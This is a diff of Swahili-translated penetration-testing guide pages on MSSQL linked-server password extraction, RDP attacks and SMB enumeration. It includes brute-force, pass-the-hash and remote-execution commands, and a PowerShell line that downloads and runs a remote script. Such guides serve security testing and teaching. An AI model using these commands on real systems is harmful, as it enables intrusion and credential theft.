Mshambuliaji anaweza kutoa nywila za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa maandiko wazi, akimpa mshambuliaji nywila ambazo zinaweza kutumika kupata ushawishi mkubwa zaidi kwenye lengo. Skripti ya kutoa na kufichua nywila zilizohifadhiwa kwa Linked Servers inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Mshambuliaji anaweza kutoa nywila za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa maandiko wazi, akimpa mshambuliaji nywila ambazo zinaweza kutumika kupata ushawishi mkubwa zaidi kwenye lengo. Skripti ya kutoa na kufichua nywila zilizohifadhiwa kwa ajili ya Linked Servers inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Baadhi ya mahitaji, na usanidi lazima yafanyike ili exploit hii ifanye kazi. Kwanza kabisa, unapaswa kuwa na haki za Administrator kwenye mashine, au uwezo wa kusimamia Usanidi wa SQL Server.
Baadhi ya mahitaji, na usanidi lazima yafanyike ili exploit hii ifanye kazi. Kwanza kabisa, lazima uwe na haki za Administrator kwenye mashine, au uwezo wa kusimamia Usanidi wa SQL Server.
Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni yafuatayo:
@ -543,7 +547,7 @@ Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni ya
2. Ongeza parameter ya Kuanzisha, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806.
3. Wezesha muunganisho wa usimamizi wa mbali.
Ili kujiandaa kwa usanidi huu, [hii hazina](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina skripti zinazohitajika. Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, hazina pia ina skripti kamili ambayo inachanganya skripti za usanidi na utoaji na ufichuzi wa nywila.
Ili kujiandaa kwa usanidi huu, [hii hazina ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)ina skripti zinazohitajika. Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, hazina pia ina skripti kamili ambayo inachanganya skripti za usanidi na utoaji na ufichuzi wa nywila.
Kwa maelezo zaidi, rejelea viungo vifuatavyo kuhusu shambulio hili: [Kufichua Nywila za MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
@ -551,8 +555,8 @@ Kwa maelezo zaidi, rejelea viungo vifuatavyo kuhusu shambulio hili: [Kufichua Ny
## Kuinua Haki za Mitaa
Mtumiaji anayekimbia MSSQL server atakuwa amewezesha token ya haki **SeImpersonatePrivilege.**\
Huenda utaweza **kuinua hadi kwa Administrator** ukifuatia moja ya hizi kurasa 2:
Mtumiaji anayekimbia MSSQL server atakuwa amewezesha tokeni ya haki **SeImpersonatePrivilege.**\
Huenda ukawa na uwezo wa **kuinua hadi Administrator** ukifuatia moja ya hizi kurasa 2:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md

View File

@ -5,20 +5,20 @@
## Basic Information
Imetengenezwa na Microsoft, **Remote Desktop Protocol** (**RDP**) imeundwa kuwezesha muunganisho wa kiolesura cha picha kati ya kompyuta kupitia mtandao. Ili kuanzisha muunganisho kama huo, programu ya mteja ya **RDP** inatumika na mtumiaji, na kwa wakati mmoja, kompyuta ya mbali inahitajika kufanya kazi na programu ya seva ya **RDP**. Mpangilio huu unaruhusu udhibiti na ufikiaji wa mazingira ya desktop ya kompyuta ya mbali, kwa msingi unaleta kiolesura chake kwenye kifaa cha mtumiaji.
Imetengenezwa na Microsoft, **Remote Desktop Protocol** (**RDP**) imeundwa kuwezesha muunganisho wa kiolesura cha picha kati ya kompyuta kupitia mtandao. Ili kuanzisha muunganisho kama huo, programu ya mteja wa **RDP** inatumika na mtumiaji, na kwa wakati mmoja, kompyuta ya mbali inahitajika kufanya kazi na programu ya seva ya **RDP**. Mpangilio huu unaruhusu udhibiti na ufikiaji wa mazingira ya desktop ya kompyuta ya mbali, kimsingi ukileta kiolesura chake kwenye kifaa cha mtumiaji.
**Default port:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Enumeration
## Uhesabu
### Automatic
### Otomatiki
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
Inakagua usimbuaji uliopo na udhaifu wa DoS (bila kusababisha DoS kwa huduma) na kupata taarifa za NTLM za Windows (matoleo).
Inakagua usimbuaji uliopo na udhaifu wa DoS (bila kusababisha DoS kwa huduma) na kupata taarifa za NTLM Windows (matoleo).
### [Brute force](../generic-hacking/brute-force.md#rdp)
@ -33,7 +33,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Unganisha na akisi/neno la siri lililojulikana
### Unganisha na akisi/nywila zinazojulikana
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
@ -64,7 +64,7 @@ Sasa utakuwa ndani ya kikao cha RDP kilichochaguliwa na utajifanya kuwa mtumiaji
**Muhimu**: Unapofikia vikao vya RDP vilivyo hai, utamfukuza mtumiaji ambaye alikuwa akivitumia.
Unaweza kupata nywila kutoka kwa mchakato kwa kuutupa, lakini njia hii ni haraka zaidi na inakuwezesha kuingiliana na desktop za mtumiaji (nywila katika notepad bila kuhifadhiwa kwenye diski, vikao vingine vya RDP vikiwa wazi kwenye mashine nyingine...)
Unaweza kupata nywila kutoka kwa mchakato kwa kuutupa, lakini njia hii ni haraka zaidi na inakuwezesha kuingiliana na madawati ya virtual ya mtumiaji (nywila katika notepad bila kuhifadhiwa kwenye diski, vikao vingine vya RDP vikiwa wazi kwenye mashine nyingine...)
#### **Mimikatz**
@ -95,15 +95,19 @@ net localgroup "Remote Desktop Users" UserLoginName /add
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** ni mfumo wa baada ya unyakuzi ulioandaliwa katika Powershell, ulioandaliwa hasa kuendesha kiotomatiki shambulio la **Shadow** kwenye kompyuta za Microsoft Windows. Uthibitisho huu (ulioorodheshwa kama kipengele na Microsoft) unaruhusu mshambuliaji wa mbali **kuona desktop ya mwathirika wake bila idhini yake**, na hata kuidhibiti kwa mahitaji, akitumia zana za asili za mfumo wa uendeshaji wenyewe.
**AutoRDPwn** ni mfumo wa baada ya unyakuzi ulioandikwa kwa Powershell, ulioandaliwa hasa kuendesha kiotomatiki shambulio la **Shadow** kwenye kompyuta za Microsoft Windows. Uthibitisho huu (ulioorodheshwa kama kipengele na Microsoft) unaruhusu mshambuliaji wa mbali **kuona desktop ya mwathirika bila idhini yake**, na hata kuidhibiti kwa mahitaji, akitumia zana za asili za mfumo wa uendeshaji wenyewe.
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- Dhibiti panya na kibodi kwa njia ya kiotomatiki kutoka kwa mstari wa amri
- Dhibiti clipboard kwa njia ya kiotomatiki kutoka kwa mstari wa amri
- Tengeneza proxy ya SOCKS kutoka kwa mteja inayochanganya mawasiliano ya mtandao kwa lengo kupitia RDP
- Tengeneza proxy ya SOCKS kutoka kwa mteja inayochanganya mawasiliano ya mtandao na lengo kupitia RDP
- Tekeleza amri za SHELL na PowerShell bila kupakia faili kwenye lengo
- Pakia na pakua faili kutoka/kwa lengo hata wakati uhamishaji wa faili umekataliwa kwenye lengo
- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
Zana hii inaruhusu kutekeleza amri kwenye RDP ya mwathirika **bila kuhitaji kiolesura cha picha**.
## HackTricks Automatic Commands
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.

View File

@ -4,13 +4,13 @@
## **Port 139**
_**Network Basic Input Output System**_** (NetBIOS)** ni protokali ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kuwezesha uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za programu zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (ikienda kama mteja) inatoa amri ya "kuita" programu nyingine (ikienda kama seva) ikitumia **TCP Port 139**.
_**Network Basic Input Output System**_** (NetBIOS)** ni protokali ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kuwezesha uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za software zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (ikienda kama mteja) inatoa amri ya "kuita" programu nyingine (ikienda kama seva) ikitumia **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Kitaalamu, Port 139 inajulikana kama NBT over IP, wakati Port 445 inatambulika kama SMB over IP. Kifupi **SMB** kinamaanisha **Server Message Blocks**, ambayo pia inajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao.
Kitaalamu, Port 139 inajulikana kama NBT over IP, wakati Port 445 inatambulika kama SMB over IP. Kifupi **SMB** kinamaanisha **Server Message Blocks**, ambacho pia kinajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao.
Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya kazi moja kwa moja juu ya TCP/IP, ikiondoa hitaji la NetBIOS juu ya TCP/IP, kupitia matumizi ya port 445. Kinyume chake, kwenye mifumo tofauti, matumizi ya port 139 yanaonekana, ikionyesha kwamba SMB inatekelezwa pamoja na NetBIOS juu ya TCP/IP.
```
@ -18,13 +18,13 @@ Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya k
```
### SMB
**Server Message Block (SMB)** protokali, inayofanya kazi katika **mfano wa mteja-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, directories, na rasilimali nyingine za mtandao kama printers na routers. Kimsingi inatumika ndani ya mfululizo wa mifumo ya uendeshaji ya **Windows**, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB.
Protokali ya **Server Message Block (SMB)**, inayofanya kazi katika mfano wa **mteja-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, directories, na rasilimali nyingine za mtandao kama printers na routers. Kimsingi inatumika ndani ya mfululizo wa mifumo ya uendeshaji ya **Windows**, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB.
Hisa, zinazoakisi **sehemu za nasibu za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka kwa muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinaelezea **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.
Hisa, zinazoakisi **sehemu za kiholela za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinaelezea **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.
### IPC$ Share
Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, kuruhusu mwingiliano na huduma zilizoonyeshwa kupitia mabomba yaliyopewa majina. Zana `enum4linux` ni muhimu kwa ajili ya kusudi hili. Ikitumika ipasavyo, inaruhusu kupata:
Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, kuruhusu mwingiliano na huduma zinazofichuliwa kupitia mabomba yaliyopewa majina. Chombo `enum4linux` ni muhimu kwa kusudi hili. Ikitumika ipasavyo, inaruhusu kupata:
- Taarifa kuhusu mfumo wa uendeshaji
- Maelezo kuhusu domain ya mzazi
@ -36,7 +36,7 @@ Funguo hii ni muhimu kwa wasimamizi wa mtandao na wataalamu wa usalama kutathmin
```bash
enum4linux -a target_ip
```
Jambo hili ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uainishaji kamili dhidi ya lengo lililobainishwa na `target_ip`.
Jukumu hapo juu ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uainishaji kamili dhidi ya lengo lililobainishwa na `target_ip`.
## Nini NTLM
@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
Ili kutafuta uwezekano wa kutumia udhaifu kwenye toleo la SMB, ni muhimu kujua ni toleo gani linatumika. Ikiwa taarifa hii haitokei katika zana nyingine zinazotumika, unaweza:
- Tumia moduli ya **MSF** ya ziada \_**auxiliary/scanner/smb/smb_version**
- Tumia moduli ya **MSF** ya ziada _**auxiliary/scanner/smb/smb_version**_
- Au skripti hii:
```bash
#!/bin/sh
@ -119,7 +119,7 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Orodha Watumiaji, Makundi & Watumiaji Walioingia
### Orodha Watumiaji, Vikundi & Watumiaji Walioingia
Taarifa hii inapaswa kuwa tayari imekusanywa kutoka enum4linux na enum4linux-ng
```bash
@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
### Orodha ya folda zilizoshirikiwa
Daima inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akreditif jaribu kutumia **null** **credentials/mtembezi wa wageni**.
Kila wakati inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akidi jaribu kutumia **null** **credentials/mtembezi wa wageni**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -183,7 +183,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Unganisha/Orodhesha folda iliyoshirikiwa**
### **Unganisha/Orodhesha folda iliyo shared**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -195,9 +195,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Manually enumerate windows shares and connect to them**
### **Kuhesabu kwa mikono sehemu za windows na kuungana nazo**
Inawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuorodhesha sehemu kwa mikono unaweza kutaka kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa ukitumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji wake au sehemu hiyo haipo kabisa.
Inaweza kuwa inawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono unaweza kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa ukitumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji kwake au sehemu hiyo haipo kabisa.
Majina ya kawaida ya sehemu kwa malengo ya windows ni
@ -217,7 +217,7 @@ Unaweza kujaribu kuungana nazo kwa kutumia amri ifuatayo
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
au kwa script hii (ikitumika sessio tupu)
au kwa hii script (ikitumia kikao kisicho na thamani)
```bash
#/bin/bash
@ -239,10 +239,10 @@ mfano
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Kukadiria hisa kutoka Windows / bila zana za upande wa tatu**
### **Kuhesabu hisa kutoka Windows / bila zana za upande wa tatu**
PowerShell
```powershell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
@ -251,7 +251,7 @@ get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
Konsoli ya CMD
CMD console
```shell
# List shares on the local computer
net share
@ -265,7 +265,7 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (grafiki), ingiza `\\<ip>\` kuona sehemu za kushiriki zisizofichwa.
explorer.exe (grafiki), ingiza `\\<ip>\` ili kuona sehemu za kushiriki zisizo na siri.
### Pandisha folda iliyo shared
```bash
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Pakua faili**
Soma sehemu za awali kujifunza jinsi ya kuungana na akiba/Pass-the-Hash.
Soma sehemu za awali kujifunza jinsi ya kuungana na akidi/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -291,16 +291,16 @@ smbclient //<IP>/<share>
```
Amri:
- mask: inabainisha kivuli ambacho kinatumika kuchuja faili ndani ya saraka (kwa mfano, "" kwa faili zote)
- recurse: inawasha urudiwa (kawaida: off)
- prompt: inawasha kuomba majina ya faili off (kawaida: on)
- mget: inakopi faili zote zinazolingana na kivuli kutoka kwa mwenyeji hadi mashine ya mteja
- mask: inabainisha mask ambayo inatumika kuchuja faili ndani ya saraka (kwa mfano, "" kwa faili zote)
- recurse: inawasha recursion (kawaida: off)
- prompt: inawasha kuomba majina ya faili (kawaida: on)
- mget: inakopi faili zote zinazolingana na mask kutoka kwa mwenyeji hadi mashine ya mteja
(_Taarifa kutoka kwa manpage ya smbclient_)
### Utafutaji wa Folda za Kshared za Domain
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@ -310,7 +310,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani zinaweza **kuhifadhi nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina **akidi**.
Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zinaweza kuwa na nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina nyaraka za kuingia.
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
> [!NOTE]
> **SYSVOL share** inaweza **kusomwa** na watumiaji wote walioidhinishwa katika eneo. Ndani yake unaweza **kupata** batch nyingi tofauti, VBScript, na **scripts** za PowerShell.\
@ -318,7 +322,7 @@ Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani z
## Soma Registry
Unaweza kuwa na uwezo wa **kusoma registry** kwa kutumia baadhi ya akidi zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu:
Unaweza kuwa na uwezo wa **kusoma registry** kwa kutumia baadhi ya nyaraka zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -330,16 +334,16 @@ The **default config of** a **Samba** server is usually located in `/etc/samba/s
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa? |
| `read only = no` | Kataza uundaji na mabadiliko ya faili? |
| `writable = yes` | Ruhusu watumiaji kuunda na kubadilisha faili? |
| `guest ok = yes` | Ruhusu kuungana na huduma bila kutumia nenosiri? |
| `enable privileges = yes` | Heshimu mamlaka zilizotolewa kwa SID maalum? |
| `browseable = yes` | Je, ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa? |
| `read only = no` | Je, kataza uundaji na mabadiliko ya faili? |
| `writable = yes` | Je, ruhusu watumiaji kuunda na kubadilisha faili? |
| `guest ok = yes` | Je, ruhusu kuungana na huduma bila kutumia nenosiri? |
| `enable privileges = yes` | Je, heshimu mamlaka yaliyotolewa kwa SID maalum? |
| `create mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa? |
| `directory mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa directories mpya zilizoundwa?|
| `logon script = script.sh` | Ni script gani inahitaji kutekelezwa wakati wa kuingia kwa mtumiaji?|
| `magic script = script.sh` | Ni script gani inapaswa kutekelezwa wakati script inafungwa? |
| `magic output = script.out` | Wapi matokeo ya script ya kichawi yanapaswa kuhifadhiwa? |
| `magic script = script.sh` | Ni script ipi inapaswa kutekelezwa wakati script inafungwa? |
| `magic output = script.out` | Wapi matokeo ya script ya kichawi yanapaswa kuhifadhiwa? |
The command `smbstatus` gives information about the **server** and about **who is connected**.
@ -354,7 +358,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec inaweza kutekeleza amri **kwa kutumia** yoyote ya **mmcexec, smbexec, atexec, wmiexec** ambapo **wmiexec** ndiyo **mbinu** ya **kawaida**. Unaweza kuashiria chaguo unalopendelea kutumia kwa kutumia parameter `--exec-method`:
crackmapexec inaweza kutekeleza amri **kwa kutumia** yoyote ya **mmcexec, smbexec, atexec, wmiexec** ambapo **wmiexec** ndiyo njia **ya kawaida**. Unaweza kuashiria chaguo unalopendelea kutumia kwa kutumia parameter `--exec-method`:
```bash
apt-get install crackmapexec
@ -378,7 +382,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Chaguo zote mbili zita **unda huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathirika na kuitumia **kutekeleza kitu** (**psexec** it **pakia** faili la executable kwenye ADMIN$ share na **smbexec** itaanika **cmd.exe/powershell.exe** na kuweka katika hoja payload --**file-less technique-**-).\
Chaguo zote mbili zita **unda huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathirika na kuitumia **kutekeleza kitu** (**psexec** it **pakia** faili la executable kwenye ADMIN$ share na **smbexec** itaanika **cmd.exe/powershell.exe** na kuweka katika hoja payload --**mbinu isiyo na faili-**-).\
**Maelezo zaidi** kuhusu [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)na [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
```bash
@ -393,7 +397,7 @@ Kwa kutumia **parameter**`-k` unaweza kuthibitisha dhidi ya **kerberos** badala
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
Fanya kazi ya amri kwa siri bila kugusa diski au kuendesha huduma mpya kwa kutumia DCOM kupitia **port 135.**\
Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
Katika **kali** inapatikana kwenye /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
@ -428,14 +432,14 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
Huu shambulio unatumia zana ya Responder ili **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **mashine lengwa**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **sistimu**.\
Shambulio hili linatumia zana ya Responder **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **mashine lengwa**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **sistimu**.\
[**Taarifa zaidi kuhusu shambulio hili hapa.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Maktaba ya Windows URLMon.dll inajaribu moja kwa moja kuthibitisha kwa mwenyeji wakati ukurasa unajaribu kufikia maudhui fulani kupitia SMB, kwa mfano: `img src="\\10.10.10.10\path\image.jpg"`
Hii inatokea na kazi zifuatazo:
Hii inatokea na kazi:
- URLDownloadToFile
- URLDownloadToCache
@ -452,7 +456,7 @@ Ambazo zinatumika na baadhi ya vivinjari na zana (kama Skype)
## NTLM Theft
Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo wa lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](pentesting-smb.md#smb-relay-attack).
Kama ilivyo kwa SMB Trapping, kupanda faili zenye madhara kwenye mfumo lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](pentesting-smb.md#smb-relay-attack).
[See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

View File

@ -4,13 +4,13 @@
## **Port 139**
The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* ni protokali ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kuwezesha uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za programu zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (ikienda kama mteja) inatoa amri ya "kuita" programu nyingine (ikienda kama seva) ikitumia **TCP Port 139**.
